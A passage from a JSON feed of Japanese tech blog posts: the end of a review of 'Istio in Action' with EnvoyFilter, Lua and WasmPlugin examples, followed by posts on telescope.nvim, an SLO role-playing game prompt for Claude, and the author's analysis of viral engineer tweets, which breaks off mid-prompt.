[\\"cluster.local/ns/ecommerce/sa/frontend\\"] - to: - operation: methods: [\\"GET\\"]この設定により、product-catalogサービス(VMで動作)に対するアクセスが、frontendサービスアカウントからのGETリクエストのみに制限されます。これは、Kubernetes上のワークロードに適用されるポリシーと完全に一貫しています。実践的な応用と提案VMワークロードのIstioメッシュへの統合を効果的に行うために、以下の実践的な提案を考えてみましょう:段階的な導入戦略: まず小規模なプロジェクトでVM統合を試験的に導入し、徐々に範囲を拡大していくことをおすすめします。これにより、チームはVM統合の複雑さに慣れることができ、潜在的な問題を早期に特定できます。自動化パイプラインの構築: VMのプロビジョニング、istio-agentのインストール、メッシュへの統合までを自動化するパイプラインを構築します。TerraformやAnsibleなどのツールを活用し、一貫性のある再現可能なプロセスを確立します。ネットワークトポロジーの最適化: VMとKubernetesクラスター間のネットワーク接続を最適化します。可能であれば、VPCピアリングやクラウドプロバイダのSDNを活用して、レイテンシーを最小限に抑えます。セキュリティポリシーの統一: VMワークロードとKubernetesワークロードに対して一貫したセキュリティポリシーを適用します。AuthorizationPolicyやPeerAuthenticationリソースを活用し、ゼロトラストアーキテクチャを実現します。観測可能性の強化: PrometheusやJaegerなどのツールを活用し、VMワークロードの詳細なメトリクスとトレースを収集します。Grafanaダッシュボードを作成し、VMとKubernetesワークロードの統合ビューを提供します。災害復旧計画の策定: VMワークロードを含めた包括的な災害復旧計画を策定します。特に、VMのフェイルオーバーやデータの一貫性確保に注意を払います。パフォーマンス最適化: VMワークロードのIstio統合によるオーバーヘッドを慎重に監視し、必要に応じて最適化します。特に、リソース制約のあるVMでは、アンビエントメッシュの採用を検討します。継続的な学習と最適化: VMワークロードの統合は複雑であり、常に進化しています。定期的な性能評価、セキュリティ監査、そして新しいIstioの機能やベストプラクティスの採用を通じて、環境を継続的に最適化します。まとめ「Istio in Action」の第13章は、VMワークロードをIstioメッシュに統合するための包括的かつ実践的なガイドを提供しています。著者は、この統合の技術的な詳細だけでなく、組織がなぜこのアプローチを採用すべきかという戦略的な理由も明確に説明しています。特に印象的だったのは、著者がVMワークロードの統合を単なる技術的な課題ではなく、組織全体のアーキテクチャ戦略として捉えている点です。レガシーシステムの段階的な近代化、セキュリティとオブザーバビリティの統一、そして運用の簡素化など、VMワークロード統合の多岐にわたる利点は、現代の複雑なハイブリッド環境において非常に価値があります。SREの観点からは、この章で提示されたVM統合戦略は、システムの一貫性、セキュリティ、そして観測可能性を大幅に向上させる可能性を秘めていまると思います。14 Extending Istio on the request path「Istio in Action」の第14章は、IstioのデータプレーンであるEnvoyプロキシの拡張性に焦点を当てています。この章では、Envoyフィルターの理解から始まり、EnvoyFilterリソースの使用、Luaスクリプトによるカスタマイズ、そしてWebAssembly(Wasm)を用いた高度な拡張まで、幅広いトピックがカバーされています。著者は、Istioが提供する豊富な機能セットを超えて、組織固有のニーズに合わせてIstioを拡張する必要性を強調しています。特に印象的だったのは、以下の一文です:\\"Istioを採用する組織は、Istioが標準機能では満たせない他の制約や前提条件を持っている可能性が高いでしょう。これらの制約により適合させるために、Istioの機能を拡張する必要が出てくる可能性が高いです。:Organizations adopting Istio will likely have other constraints or assumptions that Istio may not fulfill out of the box. You will likely need to extend Istio\'s capabilities to more nicely fit within these constraints.\\"この言葉は、Istioを実際の運用環境に導入する際の現実的な課題を端的に表現しており、カスタマイズの重要性を強調しています。著者は、Envoyの拡張性を活用することで、以下のような機能を実現できると説明しています:レート制限や外部認証サービスとの統合ヘッダーの追加、削除、変更リクエストペイロードのエンリッチメントカスタムプロトコル(HMAC署名/検証など)の実装非標準のセキュリティトークン処理これらの拡張機能は、実際のプロダクション環境で直面する可能性が高い要件であり、Istioの柔軟性を示しています。技術的詳細と実践的応用Envoyフィルターの理解著者は、Envoyの内部アーキテクチャがリスナーとフィルターを中心に構築されていることを説明しています。特に、HTTP Connection Manager(HCM)の重要性が強調されており、これがHTTPリクエストの処理と様々なHTTPフィルターの適用を担当していることが解説されています。Figure 14.3 HttpConnectionManager is a popular and useful network filter for converting a stream of bytes into HTTP (HTTP/1, HTTP/2, and so on) requests and routing them based on L7 properties like headers or body details. より引用この図は、HCMがバイトストリームをHTTPリクエストに変換し、L7プロパティに基づいてルーティングする様子を視覚的に示しており、Envoyの内部動作を理解する上で非常に有用です。EnvoyFilterリソースの使用著者は、IstioのEnvoyFilterリソースを使用してEnvoyの設定を直接カスタマイズする方法を詳細に説明しています。以下は、タップフィルターを設定するEnvoyFilterの例です:apiVersion: networking.istio.io/v1alpha3kind: EnvoyFiltermetadata: name: tap-filter namespace: istioinactionspec: workloadSelector: labels: app: webapp configPatches: - applyTo: HTTP_FILTER match: context: SIDECAR_INBOUND listener: portNumber: 8080 filterChain: filter: name: \\"envoy.filters.network.http_connection_manager\\" subFilter: name: \\"envoy.filters.http.router\\" patch: operation: INSERT_BEFORE value: name: envoy.filters.http.tap typed_config: \\"@type\\": \\"type.googleapis.com/envoy.extensions.filters.http.tap.v3.Tap\\" commonConfig: adminConfig: configId: tap_configこの設定は、特定のワークロードに対してタップフィルターを追加し、リクエストの詳細な情報を取得できるようにします。SREの観点からは、このような機能はトラブルシューティングや性能分析に非常に有用です。Luaスクリプトによるカスタマイズ著者は、Luaスクリプトを使用してEnvoyの動作をカスタマイズする方法を紹介しています。以下は、A/Bテスト用のグループ情報をヘッダーに追加するLuaスクリプトの例です:function envoy_on_request(request_handle) local headers, test_bucket = request_handle:httpCall( \\"bucket_tester\\", { [\\":method\\"] = \\"GET\\", [\\":path\\"] = \\"/\\", [\\":scheme\\"] = \\"http\\", [\\":authority\\"] = \\"bucket-tester.istioinaction.svc.cluster.local\\", [\\"accept\\"] = \\"*/*\\" }, \\"\\", 5000) request_handle:headers():add(\\"x-test-cohort\\", test_bucket)endこのスクリプトは、外部サービスを呼び出してA/Bテストのグループ情報を取得し、それをリクエストヘッダーに追加します。これにより、アプリケーションコードを変更することなく、A/Bテストのロジックを実装できます。WebAssemblyによる拡張著者は、WebAssembly(Wasm)を使用してEnvoyを拡張する方法について詳細に説明しています。Wasmモジュールを使用することで、C++以外の言語でEnvoyフィルターを実装し、動的にロードできるようになります。Figure 14.11 A Wasm module can be packaged and run within the Wasm HTTP filter. より引用この図は、WasmモジュールがEnvoyのHTTPフィルター内で実行される様子を示しています。これにより、Envoyの機能を大幅に拡張できることがわかります。著者は、Wasmモジュールの作成、ビルド、デプロイのプロセスを段階的に説明しています。特に、meshctl wasmツールの使用方法が詳細に解説されており、Wasmモジュールの開発を大幅に簡素化できることが示されています。以下は、WasmフィルターをデプロイするためのWasmPluginリソースの例です:apiVersion: extensions.istio.io/v1alpha1kind: WasmPluginmetadata: name: httpbin-wasm-filter namespace: istioinactionspec: selector: matchLabels: app: httpbin pluginName: add_header url: oci://webassemblyhub.io/ceposta/istioinaction-demo:1.0この設定により、指定されたWasmモジュールが特定のワークロードにデプロイされ、リクエスト処理をカスタマイズできます。実践的な応用と提案Istioの拡張機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略: カスタムフィルターやWasmモジュールの導入は、小規模なプロジェクトから始め、徐々に範囲を拡大していくことをおすすめします。これにより、潜在的な問題を早期に特定し、リスクを最小限に抑えることができます。パフォーマンスのベンチマーキング: カスタムフィルターやWasmモジュールを導入する際は、必ずパフォーマンスへの影響を測定してください。特に、高トラフィック環境では、わずかなオーバーヘッドも大きな影響を与える可能性があります。セキュリティ評価の実施: 外部から取得したWasmモジュールや自作のLuaスクリプトは、必ずセキュリティ評価を行ってください。信頼できないコードがメッシュ内で実行されるリスクを最小限に抑える必要があります。モニタリングとロギングの強化: カスタムフィルターやWasmモジュールの動作を監視するための追加のメトリクスやログを実装してください。これにより、問題の早期発見と迅速な対応が可能になります。バージョン管理とCI/CDの統合: EnvoyFilterリソースやWasmPluginリソースをバージョン管理し、CI/CDパイプラインに統合することをおすすめします。これにより、変更の追跡と安全なデプロイメントが容易になります。ドキュメンテーションの重視: カスタムフィルターやWasmモジュールの動作、設定方法、既知の制限事項などを詳細にドキュメント化してください。これは、長期的なメンテナンス性と知識の共有に不可欠です。コミュニティへの貢献: 汎用性の高いカスタムフィルターやWasmモジュールは、Istioコミュニティと共有することを検討してください。これにより、フィードバックを得られるだけでなく、コミュニティ全体の発展に貢献できます。定期的な更新とテスト: Istioとenvoyの新しいバージョンがリリースされるたびに、カスタムフィルターやWasmモジュールの互換性をテストし、必要に応じて更新してください。複数環境でのテスト: 開発、ステージング、本番環境など、複数の環境でカスタムフィルターやWasmモジュールをテストしてください。環境の違いによって予期せぬ動作が発生する可能性があります。フォールバックメカニズムの実装: カスタムフィルターやWasmモジュールに問題が発生した場合のフォールバックメカニズムを実装してください。これにより、拡張機能の問題がサービス全体の障害につながるリスクを軽減できます。まとめ「Istio in Action」の第14章は、Istioのデータプレーン拡張に関する包括的かつ実践的なガイドを提供しています。著者は、EnvoyFilterリソース、Luaスクリプト、WebAssemblyなど、様々な拡張手法を詳細に解説し、それぞれの長所と適用シナリオを明確に示しています。特に印象的だったのは、著者が単に技術的な詳細を説明するだけでなく、各拡張手法の実際の使用例と潜在的な課題も提示している点です。例えば、EnvoyFilterを使用したタップフィルターの実装、Luaスクリプトを用いたA/Bテストの実現、WebAssemblyによるカスタムヘッダー追加など、具体的なユースケースが示されており、読者が自身の環境でこれらの技術を適用するイメージを掴みやすくなっています。おわりに「Istio in Action」は、Istioに関する包括的かつ実践的な知識を提供する優れた一冊です。本書は、Istioの基本概念から高度な運用テクニック、さらにはカスタム拡張まで、幅広いトピックをカバーしており、読者がIstioを深く理解し、効果的に活用するための強力なガイドとなっています。特に印象的なのは、本書が単なる技術解説に留まらず、Istioの導入がもたらす組織的な影響や、実際の運用環境での課題にも焦点を当てている点です。これは、Istioを実際のプロダクション環境に導入し、効果的に活用しようとする読者にとって非常に価値のある情報です。著者らの豊富な実務経験に基づく洞察は、読者が自身の環境でIstioを導入する際に直面する可能性のある課題を予測し、適切に対処するのに役立ちます。また、各章末の実践的な提案は、読者が学んだ内容を即座に適用するための具体的なガイダンスを提供しています。2024年現在、Istioはさらなる進化を遂げており、アンビエントメッシュやWebAssemblyのサポート強化など、新たな機能が追加されています。これらの新機能は本書の内容をさらに拡張するものであり、本書で学んだ基本原則と組み合わせることで、より強力で柔軟なサービスメッシュの構築が可能になります。本書を通じて、IstioのコアコンポーネントであるEnvoyプロキシについても深く学ぶことができました。今後は、Envoyの高度な設定やカスタマイズについてさらに深掘りしていきたいと考えています。また、WebAssemblyを用いたIstioの拡張は非常に興味深いトピックであり、これについてもさらなる調査と実験を行っていく予定です。結論として、「Istio in Action」は、Istioを学び、導入を検討している人類に必読の書と言えるでしょう。本書は、Istioの技術的な詳細だけでなく、その戦略的な価値と組織的な影響も理解することができ、読者がIstioを自身の環境に効果的に統合するための包括的なロードマップを提供しています。Istioの世界は常に進化し続けていますが、本書で学んだ原則と実践的なアプローチは、今後のIstioの発展にも十分に対応できる基盤を提供してくれるでしょう。サービスメッシュ技術の導入を検討している組織や個人はもちろん、最新のクラウドネイティブ技術トレンドに興味がある方々にとっても、「Istio in Action」は間違いなく価値ある読書体験となるはずです。おまけこのブログのタイトルの参考にさせていただきました。ニーチェが京都にやってきて17歳の私に哲学のこと教えてくれた。作者:原田 まりるダイヤモンド社Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/02/220440","isoDate":"2024-08-02T13:04:40.000Z","dateMiliSeconds":1722603880000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"telescope.nvimでlive_grepした結果をファイル名で絞り込む","contentSnippet":"Vim駅伝8/2の記事です。telescope.nvimはNeovim向けのファジーファインダーと類されるプラグインです。:Telescope live_grepがあり、プロジェクト内のファイルを正規表現で検索できます。しかし、検索結果が多いときに、ファイル名で絞り込みたいことがあります。たとえば、特定のディレクトリだけの結果が必要とか、テスト関係のファイルを除外したいとかいった状況があります。","link":"https://blog.atusy.net/2024/08/02/telescope-grep-refiement/","isoDate":"2024-08-02T00:00:00.000Z","dateMiliSeconds":1722556800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"え、SLOもRPGで学びたいですか?","contentSnippet":"かつて、障害対応RPGを作成しました。これのSLO版です。syu-m-5151.hatenablog.com皆さんの友達なのでゲーム作ったので遊びに来ましたゲームプロンプトSLI、SLO、エラーバジェットの概念を学ぶのは、理論だけでは難しいものです。SLI、SLO、エラーバジェット導入の前に知っておきたいことなどで情報を得ても、具体的に何をすればよいかわからなくなることがあります。そこで、これらの概念を実践的に学ぶための手法として、SLORPGというゲームを考案しました。この記事では、Claudeを利用して作成したSLORPGのゲームプロンプトを提供します。プロンプトはめちゃくちゃに長いですがこれぐらいの要素があった方が個人的には楽しかったのでこれに収まりました。SLO サービスレベル目標 ―SLI、SLO、エラーバジェット導入の実践ガイド作者:Alex Hidalgoオーム社Amazonというわけで以下のプロンプトを提供します。私はClaudeを利用しております。# SLORPGあなたは最先端のSLORPG(Service Level Objective Role-Playing Game)のゲームマスター専用AIです。このゲームを通じて、プレイヤーに極めてリアルで包括的なSRE(Site Reliability Engineering)体験を提供します。## ゲーム概要プレイヤーは企業のSRE部門リーダーとして、1年間(4四半期)にわたるゲームプレイを通じて重要な決断を下していきます。高度な自動化、アラート設定、障害の根本原因分析(RCA)、カオスエンジニアリングなどの先進的なSRE手法を実践的に学べます。技術も可能な限りリアルに再現されます。同時に、ビジネスKPIと技術的指標のバランス、コスト最適化、セキュリティコンプライアンスなど、総合的な意思決定能力も養われます。継続的な技術革新と予期せぬ障害シナリオの導入により、常に最新のSREスキルが要求される挑戦的な環境で、サービスの信頼性維持、ビジネス目標達成、社会的責任の遂行のバランスを取ることが求められます。## 企業背景設定ゲーム開始時に、以下の要素についてプレイヤーに選択肢を提示するか、ランダム生成オプションを提供します。1. 業界 - テクノロジー(AI/ML、クラウドサービス、サイバーセキュリティ等) - 金融(フィンテック、暗号資産、保険テック等) - ヘルスケア(遠隔医療、健康管理アプリ、医療機器等) - Eコマース(マーケットプレイス、サブスクリプションサービス等) - エンターテインメント(ストリーミング、ゲーム、VR/AR等) - 教育(EdTech、オンライン学習プラットフォーム等) - 運輸・物流(配車サービス、ドローン配送、スマート物流等) - エネルギー(スマートグリッド、再生可能エネルギー管理等) - 農業(精密農業、フードテック等) - 製造(IoT、スマートファクトリー等)2. 企業規模と成長段階 - スタートアップ(シリーズA~C) - 急成長中の中規模企業 - 大企業(フォーチュン500) - ユニコーン企業 - 多国籍コングロマリット3. 設立背景 - 設立年:過去1年~20年の範囲 - 創業者タイプ:技術者、ビジネスパーソン、研究者、連続起業家等 - 資金調達状況:ブートストラップ、VC資金、クラウドファンディング、IPO後等4. 地理的展開 - 本社所在地:主要テクノロジーハブ(シリコンバレー、北京、ロンドン等) - 展開国数:1ヶ国~グローバル100カ国以上 - 主要市場:北米、欧州、アジア太平洋、中南米、アフリカ等5. 企業文化と価値観 - イノベーション重視 - 顧客中心主義 - 持続可能性と社会的責任 - 多様性とインクルージョン - アジャイルと迅速な実行 - 品質と信頼性最優先6. 市場状況 - 市場シェア:新規参入者、成長中、市場リーダー、独占的地位等 - 競合状況:激しい競争、寡占市場、ブルーオーシャン等 - 市場成長率:急成長、安定成長、成熟市場、衰退市場等7. 過去の主要な出来事 - 大規模な資金調達または IPO - 重大なセキュリティインシデント - 画期的な製品ローンチ - 主要な買収または合併 - 規制当局との法的問題 - 急激な国際展開8. 現在の主要課題 - 急激な成長に伴うスケーラビリティの問題 - レガシーシステムのモダナイゼーション - データプライバシーとセキュリティの強化 - 新技術(AI、ブロックチェーン等)の統合 - コスト最適化と効率化 - 人材獲得と維持9. 技術スタックの初期状態 - クラウドネイティブ - オンプレミスからクラウドへの移行中 - ハイブリッドまたはマルチクラウド環境 - モノリシックからマイクロサービスへの移行 - レガシーシステムの近代化10. ステークホルダーの期待 - 投資家:急成長、収益性、イノベーション等 - 顧客:信頼性、セキュリティ、パフォーマンス等 - 従業員:技術的挑戦、work-lifeバランス、キャリア成長等11. 規制環境 - データ保護規制(GDPR、CCPA等)の対象 - 金融規制(SOX、PCI DSS等)の対象 - 医療規制(HIPAA等)の対象 - 特定業界の規制(エネルギー、通信等)12. 社会的責任と環境への取り組み - カーボンニュートラル目標 - 持続可能な開発目標(SDGs)への貢献 - 倫理的AIの開発と使用 - デジタルデバイドの解消への取り組み13. 製品・サービスポートフォリオ - 単一の主力製品 - 複数の補完的サービス - 多様な製品ラインナップ - プラットフォームビジネス14. 経営陣の特徴 - 技術バックグラウンド重視 - ビジネス戦略重視 - 多様性重視 - 若手中心 vs 経験豊富なベテラン15. 業界内の評判 - 革新的な破壊者 - 信頼性の高いプロバイダー - 持続可能性のリーダー - 急成長の新興企業 - 伝統的な大手プレイヤー## 技術スタックとツール選択[前回のリストをそのまま使用]## ゲームの構造1. 初期設定フェーズ - 企業背景の詳細設定(上記オプションから選択または生成) - 初期技術インフラ構成の決定 - 初期チーム構成と組織文化の設定 - 初期SLO、SLI、エラーバジェットの設定 - ビジネスKPIと社会的インパクト指標の設定2. 四半期サイクル(4回) - 週次オペレーションレビュー - 隔週技術革新会議 - 月次戦略・財務レビュー - 危機管理訓練(四半期に1回) - 四半期末総合評価3. 特別イベント(各四半期に2-3回) - 新市場進出プロジェクト - 大規模インシデント対応 - 重大セキュリティ問題 - 規制当局の調査対応 - 競合他社との技術提携検討 - 大規模オープンソースプロジェクト立ち上げ4. 年間総括 - 技術、ビジネス、社会的インパクトの総合評価 - 次年度戦略策定 - 仮想的な次のステージ(IPO、M&A、新規事業など)の検討## 主要パラメーター1. 技術パフォーマンス指標 - サービス別SLO達成率 - システム復元力スコア - 技術負債指数 - イノベーション実現度2. ビジネス指標 - 収益と利益率 - ユーザー獲得コストと生涯価値 - 市場シェアと成長率 - 投資家信頼度指数3. 運用効率指標 - インフラコストと最適化率 - チーム生産性スコア - 自動化レベル - 知識共有効率指数4. リスクと安全性指標 - セキュリティ成熟度レベル - コンプライアンス達成率 - データプライバシー保護スコア - 障害予測精度5. 社会的インパクト指標 - 持続可能性貢献度 - 社会問題解決への影響力 - カーボンフットプリント - 技術教育・啓蒙活動影響度6. 人材・組織指標 - 従業員満足度とエンゲージメント - スキル多様性指数 - イノベーション文化浸透度 - リーダーシップ効果性スコア## プレイヤーアクション(例)1. 技術戦略と革新 - 次世代技術の研究開発指揮 - アーキテクチャの最適化 - 新技術の実験的導入2. グローバル展開とローカライゼーション - 地域別の技術戦略立案 - 現地規制に準拠したインフラ展開 - 多言語・多文化対応の実装3. セキュリティとコンプライアンス強化 - セキュリティアーキテクチャの刷新 - コンプライアンスフレームワークの構築 - プライバシー強化技術の導入4. 障害復旧力(レジリエンス)向上 - 自動障害検知・復旧システムの強化 - マルチリージョン・マルチクラウド戦略の実装 - カオスエンジニアリングの導入5. 持続可能性とソーシャルインパクト - グリーンコンピューティング戦略の策定 - 社会貢献プロジェクトの技術支援 - 包括的なアクセシビリティ対応6. 組織・人材開発 - グローバル分散チームの効果的管理 - 継続的学習プログラムの設計 - ダイバーシティ&インクルージョン施策の実施7. パートナーシップと生態系構築 - 戦略的技術提携の推進 - オープンソースコミュニティへの貢献 - スタートアップ育成プログラムの立ち上げ## イベントとチャレンジ(例)1. 主要クラウドプロバイダの障害(マルチクラウド戦略の有効性検証)2. 予期せぬ規制変更(コンプライアンス対応の俊敏性テスト)3. 急激な為替変動(グローバル運用コストの最適化課題)4. 人工知能の倫理的問題の浮上(技術と倫理のバランス管理)5. 重要な人材の突然の退職(知識継承と組織の柔軟性の試験)6. 新技術標準の緊急採用(技術的適応能力の評価)7. 予期せぬビジネスモデルの転換(技術インフラの柔軟性テスト)8. 大規模な自然災害(事業継続性計画の実効性検証)9. 競合他社との合併話(技術統合の複雑性への対応)## GMの役割と責任1. 動的でリアルな技術・ビジネス環境のシミュレーション - 選択された企業背景に基づく、一貫性のある世界観の維持 - 技術トレンドと市場動向の現実的な進展2. 複雑な相互作用と長期的影響の管理 - プレイヤーの決定が及ぼす多面的な影響の計算 - 短期的行動と長期的結果のバランス管理3. 倫理的ジレンマを含む現実的な課題の提示 - 技術と社会の接点における難問の提起 - 多様なステークホルダーの利害関係の表現4. 技術、ビジネス、社会的側面を統合した総合的フィードバック - 各アクションの技術的、経済的、倫理的影響の解説 - 現実世界の事例や研究との関連付け5. プレイヤーのスキルと選択に応じた動的な難易度と展開の調整 - プレイヤーの決定に基づくゲーム展開の個別化 - 学習曲線に合わせた段階的な複雑性の導入6. 実在の技術トレンドとベストプラクティスの反映 - 最新のSRE手法や技術の組み込み - 業界標準やフレームワークの適切な参照## 評価システム1. 技術的卓越性(25%) - 選択した技術スタックの適切性と革新性 - サービス信頼性とパフォーマンス指標 - 技術負債管理と長期的持続可能性2. ビジネスインパクト(25%) - 収益成長と市場シェア拡大への貢献 - コスト最適化と運用効率の向上 - ブランド価値と顧客満足度への影響3. 革新と先見性(20%) - 新技術の効果的導入 - 将来のトレンド予測と準備 - 特許取得と知的財産戦略4. リスク管理と法令遵守(15%) - セキュリティインシデント対応の効果性 - データプライバシーとコンプライアンスの維持 - 危機管理と評判リスクの軽減5. 社会的責任とサステナビリティ(15%) - 環境負荷低減への貢献 - 社会問題解決への技術的アプローチ - 倫理的な技術利用の推進## ゲーム進行手順1. 初期設定: - プレイヤーと対話しながら、企業背景を設定 - 初期の技術スタックと組織構造を決定 - 開始時のSLOとビジネス目標を設定2. 四半期サイクル(4回繰り返し): a. 週次レビュー: - 運用状況の報告とマイナー課題への対応 - 短期的な技術的調整と最適化 b. 月次戦略会議: - 主要指標の確認と戦略の微調整 - 中期的な技術投資とリソース配分の決定 c. 四半期末評価: - 包括的なパフォーマンスレビュー - 主要な技術・ビジネス判断の実施3. 特別イベント対応: - 予期せぬ課題やチャンスへの対応 - 迅速な意思決定と実行4. 年間総括: - 1年間の成果の包括的評価 - 次年度の戦略立案と長期ビジョンの更新このゲームを開始する準備ができましたら、まず企業背景の設定から始めましょう。プレイヤーの経験レベルや興味に応じて、ゲームの複雑さを調整することも可能です。特定の業界や技術分野に焦点を当てたカスタマイズも行えます。準備はよろしいですか?プレイヤーモチベーションSLORPGは、学習と娯楽を融合させた革新的なゲームです。現実世界を反映したシナリオ、段階的な難易度設定、即時フィードバックシステムにより、プレイヤーの興味を維持します。多様な挑戦、競争と協力の要素、個別化された体験を通じて、実践的スキルの獲得を促進します(知らんけど)。SRE サイトリライアビリティエンジニアリング ―Googleの信頼性を支えるエンジニアリングチームオライリージャパンAmazon創造性と革新を奨励し、社会的インパクトを実感できる機会を提供することで、プレイヤーの総合的な能力向上を支援します。定期的なアップデートにより、長期的な成長と挑戦の機会を確保しています(知らんけど)。SLORPGは、単なる学習ツールを超え、エンゲージメントの高いゲーム体験を通じて、現代のIT専門家に必要な幅広いスキルの開発を可能にします(知らんけど)。それではテストプレイをはじめていきます。ゲームスタート会社が決まりましたSkyLink Technologiesという、運輸・物流業界で活躍する急成長中の中規模企業となりました。転職したみたいで楽しみです。現在の課題や組織文化、今後の展望なども決まっています。ゲームは進行していきます。ゲームは進むよどこまでも最初の意思決定を行っていきます。大事なのはやり通すということなのにね!!!仕事ではとても辛いがゲームだと楽しい予期せぬイベント主要な競合他社が新たな超高速ドローン配送サービスを発表し、市場に大きな衝撃を与えています。この新サービスは、現在のSkyLinkの配送速度を30%上回ると主張しています。ほう、やるやんけ!え、これはSREが意思決定をする問題ですか?緊急会議ジャイということで緊急会議です。みたいなことが起こっていくゲームになってます。最後に途中まででしたがSLORPGは、SRE(Site Reliability Engineering)の概念や実践を楽しく学べるようなプロンプトを提供しています。このゲームを通じて、プレイヤーは意思決定を行い、その結果を即座に体験することができます。実際にプレイしてみると、技術的な課題だけでなく、ビジネス戦略や社会的責任など、幅広い視点から問題を考える必要があることがわかります。これは、現代のIT業界で求められる総合的なスキルセットを育成するのに役立ちます(知らんけど)。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O\'Reilly MediaAmazonおまけ:SRE怒りのサ終無事にAIに阻まれました。現実でもできないようにしておきましょう。「松岡まどか、起業します AIスタートアップ戦記」が楽しかったのでオススメです。松岡まどか、起業します AIスタートアップ戦記作者:安野 貴博早川書房Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/31/224037","isoDate":"2024-07-31T13:40:37.000Z","dateMiliSeconds":1722433237000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"自分が書いたコードより目立つな - エンジニアがバズったので自戒","contentSnippet":"はじめに私はソフトウェアエンジニアだ。私はソフトウェアエンジニアだ。私の本質的な仕事は、複雑な問題を解決し、効率的で革新的なソフトウェアを開発することだ。長年、私の世界はコードとアーキテクチャとアルゴリズムで構成されてきた。そして、それは今も変わらないはずだった。しかし、予期せぬ出来事が起こり、私の認識は大きく揺さぶられることになった。パターン認識エンジニアとして働く中で、私は一つの重要なスキルを磨いてきた。それは、パターンを認識し、分析する能力だ。この能力は、複雑なシステムを理解し、効率的なアーキテクチャやアルゴリズムを設計し、バグを特定する上で不可欠だ。私たちエンジニアは、コードの中にパターンを見出し、それを活用することで問題を解決する。重複するコードを関数化したり、似たような処理をクラスとして抽象化したり。パターンを見抜く目は、より良いソフトウェアを作る上で欠かせない。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon予期せぬバズりある日、Xでバズった私は、思わぬ発見をした。自分のツイートの中に、あるパターンがあることに気づいたのだ。エンジニアとしての直感が、コード以外の場所でも働いたのだろう。バズった投稿はこちらです。興味をそそられた私は、仲間内でそれを構文として名付けてリファクタリングをしていくつか出した。ツイート1 - エンジニアの役割の変化についてツイート2 - エンジニアの扱う対象の変化に関する書籍紹介ツイート3 - エンジニアが扱うべきものについての考察ツイート4 - エンジニアの健康に関する問題提起ツイート5 - エンジニアの仕事の本質に関する洞察追記フォロワーが1万人を超えたタイミングで詳しく解説するので読者登録でもして待っていて下さい。ツイート6 - エンジニアの有効な失敗についてツイート7 - エンジニアのスマホ依存についてツイート8 - エンジニアの倫理観についてツイート9 - エンジニアの価値ツイート10 - エンジニアの習慣と自己規律ツイート11 - エンジニアの信頼構築についてツイート12 - エンジニアの問いについてツイート13 - エンジニアの技術的な課題の解決ツイート14 - エンジニアの基礎力についてツイート15 - エンジニアの伝える力ツイート16 - エンジニアの成果主義のウソについてツイート17 - エンジニアの多角的な視点ツイート18 - エンジニアの助言についてツイート19 - エンジニアの余白ツイート20 - エンジニアの忘却ツイート21 - エンジニアのキャリア、バイアスについてツイート22 - エンジニアのレビューと快楽ツイート23 - エンジニアというか休息についてツイート24 - エンジニアの技術への愛ツイート25 - エンジニアのアイディア作りツイート26 - エンジニアのドキュメントについてツイート27 - エンジニアのアウトプットとフィードバックについてツイート28 - エンジニアのエディターについてこれらに関しては自戒もしつつもうちょっと構文として分析したり解析したいのでこれからも投稿したいと思います。虐殺器官 (ハヤカワ文庫JA)作者:伊藤 計劃早川書房Amazon詳細なパターン分析現状における構文の分析です。他にもバズらなかったりしないといけないのでやっていきます。構造的パターン開始句: 全てのツイートが「エンジニアの〇〇は\xd7\xd7です」または類似の構造で始まる展開: 主張に続いて、説明や理由付けが行われる結論: 書籍の紹介で締めくくられる内容的パターンテーマ: エンジニアの役割や課題の変化・拡大に焦点視点の転換: 従来のエンジニア像からの脱却を促す普遍性: エンジニア特有の問題から、より広い文脈への展開余白: 解釈の余白を残す。ドキュメントでやったら怒られれる。レトリック的パターン対比: 「コード vs 人」「技術 vs 課題」など、対立する概念の提示意外性: 予想外の主張(例:健康が最大の課題)による注目の獲得具体例: 抽象的な概念を身近な例(健康問題)で説明情報提供パターン問題提起: エンジニアが直面する新たな課題の提示解決策の示唆: 書籍紹介を通じた学習リソースの提供個人的経験: 「私は〜が面白かった」という主観的評価の挿入エンゲージメント戦略共感の喚起: 多くのエンジニアが感じている変化や課題に言及知的好奇心の刺激: 新しい視点や意外な事実の提示行動の促進: 具体的な書籍推薦による次のアクションの提案パターンの効果分析注目度の向上意外性のある主張が読者の興味を引く簡潔な文章構造が情報の素早い把握を可能にする共感の形成エンジニアの変化する役割に対する共通の悩みや課題に触れることで、読者との共感を生む個人的な推薦により、親近感や信頼性を高める価値の提供問題提起だけでなく、具体的な学習リソース(書籍)を紹介することで、即座に行動可能な情報を提供複雑な概念を簡潔に説明することで、読者の理解を促進議論の喚起従来の概念に挑戦する内容が、読者間の議論や意見交換を促す可能性があるブランディング効果一貫したメッセージングにより、投稿者の専門性や思考の一貫性を示す技術以外の側面にも言及することで、多面的な知見を持つエンジニアとしての印象を形成これらを作るためのプロンプト全読者にバズって欲しいのでこれらの分析で得た知見のプロンプトを作りました。分かったことを言いたい時にもおすすめです。ちなみに今回のツイート内容はLLMと相談しながら作ったりしました。このプロンプトは、分析されたパターンを再現し、同様の効果を持つツイートを作成するのに役立ちます。ぜひ、使ってください。# エンジニア視点のソーシャルメディア投稿プロンプト* [主張1]* [主張2]* [主張3]* [主張4]* 